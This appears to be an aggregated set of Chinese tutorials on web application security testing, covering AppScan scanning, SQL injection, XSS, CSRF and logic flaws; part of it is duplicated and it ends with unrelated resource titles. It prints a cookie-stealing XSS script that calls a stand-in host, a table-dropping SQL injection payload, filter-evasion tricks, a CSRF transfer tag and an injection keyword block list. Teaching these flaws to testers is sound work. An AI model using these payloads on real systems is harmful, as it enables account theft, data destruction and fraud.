精华内容
下载资源
问答
  • 一、安装测试基本工作流程:二、扫描原则扫描的原则“Appscan全面扫描”包含两个阶段:探索和测试。探索阶段在第一个阶段里,appscan会通过模仿成web用户单击链接并填写表单字段来探索站点(web应用程序或web server)...

    一、安装测试基本工作流程:

    二、扫描原则

    扫描的原则

    “Appscan全面扫描”包含两个阶段:探索和测试。

    探索阶段

    在第一个阶段里,appscan会通过模仿成web用户单击链接并填写表单字段来探索站点(web应用程序或web server)这就是探索阶段。

    探索阶段可以遍历每个URL路径,并分析后创建测试点。

    测试阶段

    “测试”期间,appscan会发送它在“探索”阶段创建的成千上万个定制的测试请求,通过你定制好的测试策略分析每个测试的响应,最后根据规则识别应用程序中的安全问题,并排列这些安全问题的风险级别。

    三、CRM项目实践

    1、打开工具,点击文件-新建,选择常规扫描:

    2、直接点击下一步,再第二个操作页面输入CRM地址,直接点下下一步:

    3、点击记录下-IE浏览器,界面跳转到下一步:

    4、再弹出框中输入公司名、用户、密码、验证码,回车登录到系统:

    5、点击我已登录到站点,开始分析数据,等待界面自动跳转会设置界面,并点击下一步:

    6、直接点击下一笔,选择挨冻全面自动扫描,点击完成:

    7、点击是,选择要保存的位置,并输入文件名:

    8、保存成功后,工具自动启动扫描(注:扫描过程预计要2h以上):

    9、点击扫描日志,可以查看工具运行过程信息:

    10、待扫描结束后,点击报告-保存报告,选择保存位置,点击保存:

    11、保存完成后,可直接打开查看安全测试报告:安全扫描_V1.0 安全报告.pdf

    展开全文
  • 一、安全测试6项基本原则: 认证:对认证用户请求返回 访问控制:对未认证用户权限控制和数据保护 完整性:用户必须准确收到服务器发送信息 机密性:信息必须准确传递给预期用户...

    一般来说,版本功能测试完成,对应的用例也实现了自动化,性能、兼容、稳定性测试也完成了以后,我们就需要考虑到系统的安全问题,特别是涉及到交易、支付、用户账户信息的模块,安全漏洞会带来极高的风险。

     

    一、安全测试6项基本原则:

    认证:对认证的用户的请求返回

    访问控制:对未认证的用户的权限控制和数据保护

    完整性:用户必须准确的收到服务器发送的信息

    机密性:信息必须准确的传递给预期的用户

    可靠性:失败的频率是多少?网络从失败中恢复需要多长时间?采取什么措施来应对灾难性的失败?(个人理解这个地方应该更偏向于容错容灾测试的范畴)

    不可抵赖:用户应该能证明接收到的数据来自特定的服务器

    二、常见的安全测试内容

    权限控制

    SQL注入

    URL安全测试

    XSS(跨站脚本攻击)

    CSRF(跨站请求伪造)

    URL跳转漏洞

    其他安全方面的考量

    三、Web应用程序中是什么导致安全性问题呢?一般有以下几个原因:

    1、复杂应用系统代码量大、开发人员多、难免出现疏忽。

    2、系统屡次升级、人员频繁变更,导致代码不一致。

    3、历史遗留系统、试运行系统等多个Web系统共同运行于同一台服务器上。

    4、开发人员未经过安全编码培训或者公司根本就没有统一的安全编码规范。

    5、测试人员经验不足或者没经过专业的安全评估测试就发布上线。

    6、没有对用户的输入进行验证,举几个例子:

    1)永远不要信任用户的输入,要对用户的输入进行校验

    2)数字型的输入必须是合法的数字

    3)字符型的输入中对 编码符号要进行特殊处理

    4)验证所有的输入点,包括Get,Post,Cookie以及其他HTTP头

    四、安全性测试的常见漏洞及解决办法:

    1、XSS跨站脚本攻击

    SS与SQL注入相似,XSS是通过网页插入恶意脚本,主要用到的技术也是前端的HTML和JavaScript脚本。当用户浏览网页时,实现控制用户浏览器行为的攻击方式。

    一次成功的XSS,可以获取到用户的cookie,利用该cookie盗取用户对该网站的操作权限;也可以获取到用户联系人列表,利用被攻击者的身份向特定的目标群发送大量的垃圾信息,等等。

    XSS分为三类:存储型(持久性XSS)、反射型(非持久性XSS)、DOM型。

    测试方法:

    在数据输入界面,输入:<script>alert(/123/)</script>,保存成功后如果弹出对话框,表明此处存在一个XSS 漏洞。

    或把url请求中参数改为<script>alert(/123/)</script>,如果页面弹出对话框,表明此处存在一个XSS 漏洞。

    2、SQL注入

    SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符

    串,最终达到欺骗服务器执行恶意的SQL命令。

    SQL注入可能造成的危害有:网页、数据被篡改,核心数据被窃取,数据库所在的服务器被攻击,变成傀儡主机。

    例如有些网站没有使用预编译sql,用户在界面上输入的一些字段被添加到sql中,很有可能这些字段包含一些恶意的sql命令。如:password = "1' OR '1'='1";即使不知道用户密码,也能正常登录。

    测试方法:

    在需要进行查询的页面,输入正确查询条件 and 1=1等简单sql语句,查看应答结果,如与输入正确查询条件返回结果一致,表明应用程序对用户输入未进行过滤,可以初步判断此处存在SQL注入漏洞

    修改建议:

    对用户的输入进行校验,可以通过正则表达式,或限制长度;对以下关键字进行转换等;

    ||alert|and|exec|execute|insert|select|delete|update|count|drop|chr|mid|master|truncate|declare|sitename|netuser|xp_cmdshell|or|+|,|like'|and|exec|execute|insert|create|drop|table|from|grant|group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|chr|mid|master|truncate|declare|or|--|+|,|like|//

    不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;

    不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;

    应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

    3、URL跳转漏洞

    URL跳转漏洞,即未经验证的重定向漏洞,是指Web程序直接跳转到参数中的URL,或者在页面中引入了任意开发者的URL,将程序引导到不安全的第三方区域,从而导致安全问题。

    测试方法:

    1.使用抓包工具抓取请求。

    2.抓取302的url,修改目标地址,查看是否能跳转。

    ps:不过现在很多跳转都加了referer的校验导致攻击者跳转失败。

    4、文件上传漏洞

    文件上传攻击是指攻击者上传了一个可执行文件到服务器上,并执行。

    这种攻击方式是最直接有效的。上传的文件可以是病毒、木马、恶意脚本或者是webshell等等。

    Webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以说是一种网页后门。攻击者在受影响系统防止或插入webshell后,可以通过webshell方便进入系统,达到控制网站服务器的目的。

    测试方法:

    对上传的文件类型、大小等进行严格校验,禁止上传恶意代码的文件。

    对相关目录的执行权限进行校验,可以通过浏览器访问Web 服务器上的所有目录,检查是否返回目录结构,如果显示的是目录结构,则可能存在安全问题。

    5、CSRF跨站伪造请求攻击

    CSRF,利用已登录的用户身份,以用户的名义发送恶意请求,完成非法操作。

    例如:用户如果浏览并信任了存在CSRF漏洞的网站A,浏览器产生了相应的cookie,用户在没有退出该网站的情况下,访问了危险网站B 。

    危险网站B要求访问网站A,发出一个请求。浏览器带着用户的cookie信息访问了网站A,因为网站A不知道是用户自身发出的请求还是危险网站B发出的请求,所以就会处理危险网站B的请求,这样就完成了模拟用户操作的目的。这就是CSRF攻击的基本思想。

    测试方法:

    1. 同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功,如果仍然能操作成功即存在风险。

    2.使用工具发送请求,在http请求头中不加入referer字段,检验返回消息的应答,应该重新定位到错误界面或者登录界面。

    总结:

    1、永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式或限制长度;对单引号和双"-"进行转换等。

    2、永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

    3、永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    4、不要把机密信息直接存放,加密或者Hash掉密码和敏感的信息。

    5、应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

    6、SQL注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用SQL注入检测工具jsky、MDCSOFT SCAN等。采用MDCSOFT - IPS可以有效的防御SQL注入、XSS攻击等。

    展开全文
  • 安全测试

    2017-01-17 19:49:00
    WEB应用程序的基本安全原则:(所有用户输入均不可信!) 二、Web安全测试流程  通常情况下,Web安全测试开展于功能测试后,性能测试前。 三、绕过客户端漏洞 客户端控件一般可攻击的包...
    一、Web安全测试定义
     
    Web安全就是要让软件面对敌意和恶意输入时,仍然能够充分满足需求。
    Web安全性测试是有关验证Web应用的安全服务和识别潜在安全性缺陷的过程。
    WEB应用程序的基本安全原则:(所有用户输入均不可信!)
     
    二、Web安全测试流程
     
      通常情况下,Web安全测试开展于功能测试后,性能测试前。
     
    三、绕过客户端漏洞
     
    客户端控件一般可攻击的包括以下几个方面:
    • HTML验证
      HTML验证不应该被认为是一种安全的方法验证参数,这种验证方式只能帮那些不知道所需输入的用户缩短服务器处理时间,攻击者可以用各种方法轻易的绕过这种机制。任何客户端验证都应该复制到服务器端,这将大大减少不安全的参数在应用程序中使用的可能性。
    • 隐藏表单字段
      隐藏的HTML表单是一种看上去无法修改,通过客户端传送数据的常用机制。如果一个表单字段标记为hidden或者readonly那么它就无法编辑,如果是完全隐藏则不会在屏幕上显示,但是提交时保存在表单中的字段名称和值仍然被送交给应用程序。
    • Http cookie
      与隐藏表单类似,http cookie并不显示在用户屏幕上,也不可直接修改。而有些网站对于不同的会员等级会有不同的折扣,判断是否享用折扣就用cookie来传达。如有些电商最早对金牌会员的折扣就是用 cookie传达,类似在用户登录后返回一个响应:
    HTTP/1.1 200 OKSet-Cookie:DiscountAgreed=80
    这样我们通过拦截发现了该cookie值并可在购买时对其进行修改从而拿到了更低廉的折扣。
    • URL参数
      应用程序有可能会使用预先设定好的URL参数通过客户端传递数据,
      当然这个url不一定直接显示在浏览器地址栏中,也可能通过包含参数的url加载框架内容或用弹窗等其他方法隐藏地址栏,这时仍可以用拦截代理服务器去捕获任何一个不规范的url参数,方法与以上类似,直接修改价格然后提交请求。  
    • 模糊数据
      有时候通过客户端传送的数据是经过加密或某种形式的模糊处理,并不以明文显示。
    四、攻击验证机制
    验证机制常见的漏洞有以下几种。
    1、密码保密性不强(弱口令)

    非常短或空白密码
    以常用字典词汇为密码(password、123456)
    密码与用户名完全相同
    长时间使用默认密码

    2、暴力攻击登录
      登录功能的公开性会诱使攻击者试图猜测用户名和密码,从而获得访问应用程序的权力。如果应用程序允许攻击者用不同的密码暴力尝试,直到他找到正确的密码,这个程序就非常容易遭受攻击。
    3、双因子认证

      双因子认证的核心是综合what you know(个人密码)和what you have(手机)来达到双重认证效果。目前很多电商、银行都采用了该认证方式。
      该方式最大的缺点就是构建双因子认证需要成本较大,服务器压力也较大,成本较高。

    4、详细的失败信息
      经典的登录表单会要求用户输入两组信息:用户名和密码。如果登录尝试失败,我们可以得出结论,至少有一组信息出错。
      如果应用程序明确告诉攻击者哪组数据无效,就可以利用此消息来暴力攻击用户名或密码。
    5、修改密码功能
      密码修改功能是否拥有隐藏的后台接口:如不通过登录直接通过url访问;或在应用程序中不存在功能链接但实际可以发现等;
      是否可以使用不符合标准的密码
      用户名是否随修改密码同时提交,由此修改用户
    6、忘记密码功能 

    •质询
      通过回答相关密保问题来重设密码,如果质询问题比较简单,可以通过暴力攻击来攻破答案。

      如果只知道其中一个问题答案,通过修改质询问题来输入自己知道的答案。
    •邮件
      重置别人的密码,修改接收者邮箱为自己的邮箱,访问即可重设密码
    •手机
      截获验证码发送请求,修改为自己的手机号,从而给你的手机发送一个验证码,页面上输入验证码可以跳转重设

    7、用户伪装功能
      伪装功能通过隐藏功能形式执行,即在应用程序任何地方都无法跳转到该功能,也不受常规访问控制。也就是说,在应用下有一个特殊的url可以链接到一个不需要核对用户身份的页面执行各种操作。
    8、多阶段登录
      应用程序可能会认为访问第三阶段的用户已经完成第一、二阶段的验证。因此攻击者可能被允许直接由第一阶段进入第三阶段并通过验证。
      应用程序可能会认为每个阶段的用户身份不会发生变化,因此,并没有在每个阶段都明确确认用户身份。如果攻击者在两个阶段都提供有效数据,但是是属于两个不同的用户,那么应用程序可能允许用户通过验证。
      应用程序可能会提出一个随机选择的问题,但是问题的细节并没有保存在服务器上,而是保存在隐藏的HTML表单字段中。这时候攻击者就可以通过修改隐藏字段选择已经截获或已经遍历到答案的问题,进行验证登陆。
    五、攻击会话管理
      
    1、令牌生成

      一些会话令牌通过用户的用户名或电子邮件地址转换而来,或者使用与其相关的其他信息创建。这些信息可以某种方式进行编码或模糊处理,也可与其他数据结合在一起。
    如得到如下一串sessionid:557365723d61646d696e3b6170703d6461663b646174653d31302f30392f3131
    分析发现这串字符只拥有十六进制字符,可以猜想为ASCII字符串,反解得到该串字符含义:
    User=admin;app=daf;date=10/09/11
    由此攻击者可以枚举大量用户名来生成可能有效令牌,实施攻击。

    2、会话令牌加密
    (1)消息和加密:
    (2)鉴别、完整性和抗抵赖
    除了提供机密性外,密码学通常还有其它的作用。
    鉴别。消息的接收者应该能够确认消息的来源,入侵者不可能伪装成他人。
    完整性。消息的接收者应该能够验证在传送过程中消息没有被修改,入侵者不可能用假消息代替合法消息。
    抗抵赖。发送者事后不可能虚假地否认他发送的消息。
     
    六、SQL注入
    1、验证存在SQL注入三步法
      http://www.xiaoxitest.com/test.jsp?id=1'
      页面返回异常
      http://www.xiaoxitest.com/test.jsp?id=1 and 1=1
      页面返回正常,和id=1数据一致
      http://www.xiaoxitest.com/test.jsp?id=1 and 1=2
      页面出现异常或加载为空
      若上面三步全部满足,则一定存在Sql注入漏洞。
    2、猜解表名
      http://www.xiaoxitest.com/test.jsp?id=1 and (select count(*) from user)>=0
      http://www.xiaoxitest.com/test.jsp?id=1 and exists (select * from user)
      如果页面与id=1完全相同,说明附加条件成立,即表名称user存在,反之不存在。可采用暴力攻击等手段继续尝试,直到猜到表名。
    3、猜解字段名
      http://www.xiaoxitest.com/test.jsp?id=1 and (select count(username) from user)>=0
      http://www.xiaoxitest.com/test.jsp?id=1 and  exists (select username from user)
      原理和猜解表名一样,只是把count(*)换成count(字段名)。可以先尝试从输入表单字段名称查找,一般情况下,为了方便起见,字段名会和表单名称取相同的名字。
    4、猜解字段值长度(已经得到表名称和字段名前提下)
      http://www.xiaoxitest.com/test.jsp?id=1 and (select length(username) from user limit 1)>5;
      判断该第一条字段值长度是否大于5,如果大于5,则继续判断是否大于10、15、20等。最终找到该字段的长度。
    5、猜解字段值(已经得到表名称和字段名前提下)
      http://www.xiaoxitest.com/test.jsp?id=1 and (select ascii(substr(username,1,1)) from user id=1)>60;
      判断id=1的username字段值的第一个字符ASCII编码是多少,从而找出在ASCII编码中对应的字符。可用折半法加速破解,ASCII码在0到127之间。找到第一个后接着找第2、3、4个,直到全部找出。
    6、经典注入
      如登录模块sql为:select id from user where username='+username+' and password='+password+';
      如果我们用户名输入'or '1'='1和密码'or '1'='1
      最终Sql被篡改为:select id from user where username=''or '1'='1' and password=''or '1'='1'
      对于程序来说,该条件是成立的,只要该表里用数据,就会返回结果,一般应用程序会返回第一条查询结果作为登录的用户,而很多网站第一个用户为管理员。
     
      如果我们用户名输入admin' --
      最终Sql被篡改为:select id from user where username='admin' --
      用户名后面语句都不会执行,从而登录成功
     
      甚至可以用来破坏数据:'or 1=1;drop table user --
      结果user表被删除。
     
    7、避开过滤
      有时开发会过滤关键字防止攻击者,如:select and drop 单引号等
      可以尝试使用ASCII码动态构建:如使用char(39)代替单引号
      URL hex编码:select 使用%73%65%6C%65%63%74来代替
      变换大小写:如Select  And oR 等。
     
     8、ASCII码表
      

     七、XSS/CSRF攻击

    1、反射式XSS
      也称为非永久性XSS,它出现在服务器直接使用客户端提交的数据,如Url数据、html表单中提交数据等,并没有对数据进行无害化处理。
      如:http://www.xiaoxitest.com/test.jsp?input=<script>alert(document.cookie);</script>
      当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的test.jsp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。
     
    2、存储式XSS
      也称为永久性XSS,危害更大。攻击将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
      如:<script>location.replace("http://www.xiaoxitest.com/test.jsp?secret=" + document.cookie)</script>
      当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.xiaoxitest.com,打开其中的test.jsp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
     
      上面攻击的本质都是触发一个HTTP GET 请求把 Cookie 信息作为URL的一部分参数传给攻击者的服务器然后攻击者通过查看日志即可获取到 Cookie 信息。

     3、CSRF攻击

      跨站请求伪造,它的破坏力依赖于受害者的权限。如果受害者只是个普通的用户,则一个成功的CSRF 攻击会危害用户的数据以及一些功能;如果受害者具有管理员权限,则一个成功的CSRF 攻击甚至会威胁到整个网站的安全。

      如:A和B用户都登录了xiaoxitest.com的网站,B用户知道这个网站转账有CSRF漏洞。于是B用户在xiaoxitest.com发布了一条信息,这条信息包含以下代码:<img src='http://xiaoxitest.com/test.jsp?to=B&TransferFunds=5000' width=1  height=1 />。A用户正好读到这条消息,于是A的账户不知觉向B账户转账5000元。

    八、应用程序逻辑攻击

    1、欺骗密码修改功能

      应用程序为用户提供密码修改功能:要求填写用户名、现有密码、新密码和确认密码等字段。

      应用程序还为管理员提供密码修改功能:允许修改任何用户的密码,而不用提交现有密码。

      假设代码通过判断是否包含提交现有密码参数来确定是否为管理员修改密码,普通用户通过提交不包含现有密码参数的请求,来伪装成功管理员,从而修改密码。

    2、绕过支付

      假设一个电商网站的购物流程为:1、添加购物车2、确定订单并输入支付信息3、填写收货地址4、商家发货

      开发者认为用户总会按照预定的顺序执行每一个步骤,因此,开发者认为任何完成填写收货地址的用户一定已经提交了令人满意的支付信息。

      开发者的设计缺陷,用户控制着向程序提出的每一个请求,可以按任何顺序访问订购过程的每一个阶段。如果从第1步直接跳到第3步,攻击者就可以生成一个已填写收货地址但实际上并未支付的订单。

    3、越权操作

      攻击者通过修改数据包中用户ID,来访问他人敏感信息或冒充他人发布或删除信息。

    4、避开交易限制

      如一个积分兑换商城,攻击者通过修改商品数量或修改商品总价为0或负数,从而实现购买或增加积分。

    5、审核缺陷

      一个发布网站,为了防止垃圾信息,需要通过人工审核才能显示,并且程序还允许用户对已通过的信息进行编辑。

      此处存在一个逻辑漏洞:审核通过的信息,如果被用户重新编辑了,不会再次进行审核,导致可利用这个漏洞发布垃圾信息。

     

    转载于:https://www.cnblogs.com/xiaoxitest/p/6221030.html

    展开全文
  • 一、安全测试6项基本原则: 认证:对认证用户请求返回 访问控制:对未认证用户权限控制和数据保护 完整性:用户必须准确收到服务器发送信息 机密性:信息必须准确传递给预期用户 可靠性...

    一般来说,版本功能测试完成,对应的用例也实现了自动化,性能、兼容、稳定性测试也完成了以后,我们就需要考虑到系统的安全问题,特别是涉及到交易、支付、用户账户信息的模块,安全漏洞会带来极高的风险。

    一、安全测试6项基本原则:

    认证:对认证的用户的请求返回

    访问控制:对未认证的用户的权限控制和数据保护

    完整性:用户必须准确的收到服务器发送的信息

    机密性:信息必须准确的传递给预期的用户

    可靠性:失败的频率是多少?网络从失败中恢复需要多长时间?采取什么措施来应对灾难性的失败?(个人理解这个地方应该更偏向于容错容灾测试的范畴)

    不可抵赖:用户应该能证明接收到的数据来自特定的服务器

    二、常见的安全测试内容

    权限控制

    SQL注入

    URL安全测试

    XSS(跨站脚本攻击)

    CSRF(跨站请求伪造)

    URL跳转漏洞

    其他安全方面的考量

    三、Web应用程序中是什么导致安全性问题呢?一般有以下几个原因:

    1、复杂应用系统代码量大、开发人员多、难免出现疏忽。

    2、系统屡次升级、人员频繁变更,导致代码不一致。

    3、历史遗留系统、试运行系统等多个Web系统共同运行于同一台服务器上。

    4、开发人员未经过安全编码培训或者公司根本就没有统一的安全编码规范。

    5、测试人员经验不足或者没经过专业的安全评估测试就发布上线。

    6、没有对用户的输入进行验证,举几个例子:

    1)永远不要信任用户的输入,要对用户的输入进行校验

    2)数字型的输入必须是合法的数字

    3)字符型的输入中对 编码符号要进行特殊处理

    4)验证所有的输入点,包括Get,Post,Cookie以及其他HTTP头

    四、安全性测试的常见漏洞及解决办法:

    1、XSS跨站脚本攻击

    SS与SQL注入相似,XSS是通过网页插入恶意脚本,主要用到的技术也是前端的HTML和JavaScript脚本。当用户浏览网页时,实现控制用户浏览器行为的攻击方式。

    一次成功的XSS,可以获取到用户的cookie,利用该cookie盗取用户对该网站的操作权限;也可以获取到用户联系人列表,利用被攻击者的身份向特定的目标群发送大量的垃圾信息,等等。

    XSS分为三类:存储型(持久性XSS)、反射型(非持久性XSS)、DOM型。

    测试方法:

    在数据输入界面,输入:<script>alert(/123/)</script>,保存成功后如果弹出对话框,表明此处存在一个XSS 漏洞。

    或把url请求中参数改为<script>alert(/123/)</script>,如果页面弹出对话框,表明此处存在一个XSS 漏洞。

    2、SQL注入

    SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符

    串,最终达到欺骗服务器执行恶意的SQL命令。

    SQL注入可能造成的危害有:网页、数据被篡改,核心数据被窃取,数据库所在的服务器被攻击,变成傀儡主机。

    例如有些网站没有使用预编译sql,用户在界面上输入的一些字段被添加到sql中,很有可能这些字段包含一些恶意的sql命令。如:password = "1' OR '1'='1";即使不知道用户密码,也能正常登录。

    测试方法:

    在需要进行查询的页面,输入正确查询条件 and 1=1等简单sql语句,查看应答结果,如与输入正确查询条件返回结果一致,表明应用程序对用户输入未进行过滤,可以初步判断此处存在SQL注入漏洞

    修改建议:

    对用户的输入进行校验,可以通过正则表达式,或限制长度;对以下关键字进行转换等;

    ||alert|and|exec|execute|insert|select|delete|update|count|drop|chr|mid|master|truncate|declare|sitename|netuser|xp_cmdshell|or|+|,|like'|and|exec|execute|insert|create|drop|table|from|grant|group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|chr|mid|master|truncate|declare|or|--|+|,|like|//

    不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;

    不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;

    应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

    3、URL跳转漏洞

    URL跳转漏洞,即未经验证的重定向漏洞,是指Web程序直接跳转到参数中的URL,或者在页面中引入了任意开发者的URL,将程序引导到不安全的第三方区域,从而导致安全问题。

    测试方法:

    1.使用抓包工具抓取请求。

    2.抓取302的url,修改目标地址,查看是否能跳转。

    ps:不过现在很多跳转都加了referer的校验导致攻击者跳转失败。

    4、文件上传漏洞

    文件上传攻击是指攻击者上传了一个可执行文件到服务器上,并执行。

    这种攻击方式是最直接有效的。上传的文件可以是病毒、木马、恶意脚本或者是webshell等等。

    Webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以说是一种网页后门。攻击者在受影响系统防止或插入webshell后,可以通过webshell方便进入系统,达到控制网站服务器的目的。

    测试方法:

    对上传的文件类型、大小等进行严格校验,禁止上传恶意代码的文件。

    对相关目录的执行权限进行校验,可以通过浏览器访问Web 服务器上的所有目录,检查是否返回目录结构,如果显示的是目录结构,则可能存在安全问题。

    5、CSRF跨站伪造请求攻击

    CSRF,利用已登录的用户身份,以用户的名义发送恶意请求,完成非法操作。

    例如:用户如果浏览并信任了存在CSRF漏洞的网站A,浏览器产生了相应的cookie,用户在没有退出该网站的情况下,访问了危险网站B 。

    危险网站B要求访问网站A,发出一个请求。浏览器带着用户的cookie信息访问了网站A,因为网站A不知道是用户自身发出的请求还是危险网站B发出的请求,所以就会处理危险网站B的请求,这样就完成了模拟用户操作的目的。这就是CSRF攻击的基本思想。

    测试方法:

    1. 同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功,如果仍然能操作成功即存在风险。

    2.使用工具发送请求,在http请求头中不加入referer字段,检验返回消息的应答,应该重新定位到错误界面或者登录界面。

    总结:

    1、永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式或限制长度;对单引号和双"-"进行转换等。

    2、永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

    3、永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    4、不要把机密信息直接存放,加密或者Hash掉密码和敏感的信息。

    5、应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

    6、SQL注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用SQL注入检测工具jsky、MDCSOFT SCAN等。采用MDCSOFT - IPS可以有效的防御SQL注入、XSS攻击等。

    展开全文
  • 渗透测试:以安全基本原则,通过攻击者以及防御者角度去分析目标所存在的安全隐患以及脆弱性,以保护系统安全为最终目标。 入侵:通过各种方法,甚至破坏性操作,来获取系统权限以及各种敏感信息。 2 WEB...
  • APPSCAN安全测试工具使用

    千次阅读 2018-06-05 14:44:21
    一、安装测试基本工作流程:二、扫描原则扫描的原则“Appscan全面扫描”包含两个阶段:探索和测试。探索阶段在第一个阶段里,appscan会通过模仿成web用户单击链接并填写表单字段来探索站点(web应用程序或web server...
  • 渗透测试的8个步骤

    2020-06-19 19:47:09
    渗透测试:以安全基本原则,通过攻击者以及防御者角度去分析目标所存在的安全隐患以及脆弱性,以保护系统安全为最终目标。 入侵:通过各种方法,甚至破坏性操作,来获取系统权限以及各种敏感信息。 一般渗透...
  • 鉴于市场上用户手机型号、种类、屏幕分辨率等参差不齐,传统方式根据主流系统分别开发相应系统耗时又耗力,为了高效开发并节约开发项目成本,本文采用Android+HTML5相结合方式进行移动端Web系统设计研发工作...
  • SSO-WebDemo

    2013-08-12 20:25:57
    在面向服务架构中,服务和服务之间,程序和程序之间通讯大量存在,服务之间的安全认证是SOA应用难点之一,应此建立“单点登录”系统体系能够大大简化SOA的安全问题,提高服务之间合作效率。 2 单点登陆...
  • 测试培训教材

    2014-04-01 12:10:48
    按照尽早进行测试的原则,测试人员应该在需求阶段就介入,并贯穿软件开发的全过程。就测试过程本身而言,应该包含以s下几个阶段。  -测试需求的分析和确定。  -测试计划。  -测试设计。  -测试执行。  -...
  • 11.2 从Web查询数据库的基本步骤 11.2.1 检查与过滤用户输入数据 11.2.2 建立一个连接 11.2.3 选择使用的数据库 11.2.4 查询数据库 11.2.5 检索查询结果 11.2.6 从数据库断开连接 11.3 将新信息放入数据库 ...
  •  1.3 计算机系统安全防护的基本原则  1.4 计算机系统安全研究的内容  1.5 思考与练习 第2章 密码学基础  2.1 概述  2.2 密码学基本概念  2.2.1 现代密码系统的组成  2.2.2 密码体制  2.2.3 密码算法设计的两...
  • 6.2系统测试的方法 38 6.3本系统测试 38 7 用户操作手册 41 7.1引言 41 7.2用途 41 7.2.1功能 41 7.2.2性能 41 7.3精度 41 7.3.1时间特性 41 7.3.2灵活性 41 7.4安全保密 41 7.5运行环境 41 7.5.1硬设备 41 7.5.2...
  • 基于Web的B/S体系结构的MVC模式的网上图书馆公共...6.1.1 系统测试的基本原则 6.1.2 系统测试的方法 6.2测试用例 6.3 软件测试结论 6.3.1 软件能力 6.3.2测试结论 结论 致谢 参考文献 附录A 附录B 附录C 60
  • 我们将遵循以下基本原则: 您可以随时随地放心地部署应用程序 您配置将保存在您代码中(只要安全可以登录到GitHub) 一切都会经过测试 如果在部署过程中或部署后出现问题,将立即通知您 我们在建什么? 一个...
  • 1-1渗透流程

    2020-08-20 18:43:04
    渗透测试:以安全基本原则,以攻击者和防御角度分析并保护 入侵:破坏性操作 流程 明确目标 确定范围:测试目标范围、IP、域名、内外网、测试账户 确定规则:程度、时间、权限 确定需求:web应用漏洞、业务...
  • 涵盖使用Spring Boot 进行Java EE 开发绝大数应用场景,包含:Web 开发、数据访问、安全控制、批处理、异步消息、系统集成、开发与部署、应用监控、分布式系统开发等。 第一部分 点睛Spring 4.x 第1 章 Spring ...
  • 涵盖使用Spring Boot 进行Java EE 开发绝大数应用场景,包含:Web 开发、数据访问、安全控制、批处理、异步消息、系统集成、开发与部署、应用监控、分布式系统开发等。 第一部分 点睛Spring 4.x 第1 章 Spring ...
  • 软件工程教程

    热门讨论 2012-07-06 23:10:29
    监听删除操作,保证数据的安全。 场景 监听删除操作 删除操作一旦执行,立即被监听器捕获到,进而在执行 删除操作前执行自定义函数体,即判断实体有无undeletable标签,有则中断删除操作,无则正常删除。 用例图...
  • 1.5.2 测试调度冲突可串行性 14 1.5.3 可串行性用途 16 1.5.4 视图等价和视图可串行性 17 1.5.5 调度等价性其他类型 18 1.6 SQL中事务支持 18 小结 19 复习题 20 练习题 20 参考...
  • “技巧 ”形式来介绍知识点,涵盖了数据处理(增删改、视图、索引、存储过程、触发器等)、数据应用(web服务、 clr集成、分布式查询等)和数据库配置(主体、安全、数据库镜像和快照、备份等)3个方面内容。...
  • 长期以来,传统GIS软件很难将人们积累对地理要素研究成果直接在计算机中表达出来,而采用面向对象数据模型则可以对地理空间进行多层次分解,选择更加基本的操作单元,从而更全面、正确地描述现实世界。...
  • 遵守最小权限原则,每个动作权限都会被限制,仅能运算而无法写入文件和从敏感区域读取文件(如我文档、桌面),与Internet Explorer 7“保护模式”类似。  “沙盒小组”表示他们“使用了现有执行程序限制,...
  • 本书是原书第2版译本,比第1版增加了3章内容,介绍了基本网络工具、远程数字连接技术和中间件技术。对全书做了很多修改和更新。本书是描述互联网技术经典之作,被认为是互联网技术“圣经”。 目 录 译者序 ...
  • 这也是我们在 PC 和无线时代不断提炼前端开发框架、研发模式、共享代码和开源社区建设的基本理念,即将规范做轻、研发环境做实、抽离代码、贡献代码的体验打磨到最佳。这种对一致性、规范性、简单性的美学追求...
  • 一款非常好WPF编程宝典2010 源代码

    热门讨论 2014-04-14 09:57:41
    9.5.8 为不同的安全级别编写代码 234 9.5.9 在Web页面中嵌入XBAP 应用程序 239 9.6 结束语 240 第10章 命令 241 10.1 理解命令 241 10.2 WPF命令模型 243 10.2.1 ICommand接口 243 10.2.2 RoutedCommand类 ...
  • Day018-使用安全设计原则实施和管理工程过程 .pdf Day019-系统架构和可信计算基.pdf Day020-全模型和实例.pdf Day021-系统安全评估模型.pdf Day022-一些对安全模型和架构威胁.pdf Day023-密码学定义与概念.pdf Day...
  • asp.net知识库

    2015-06-18 08:45:45
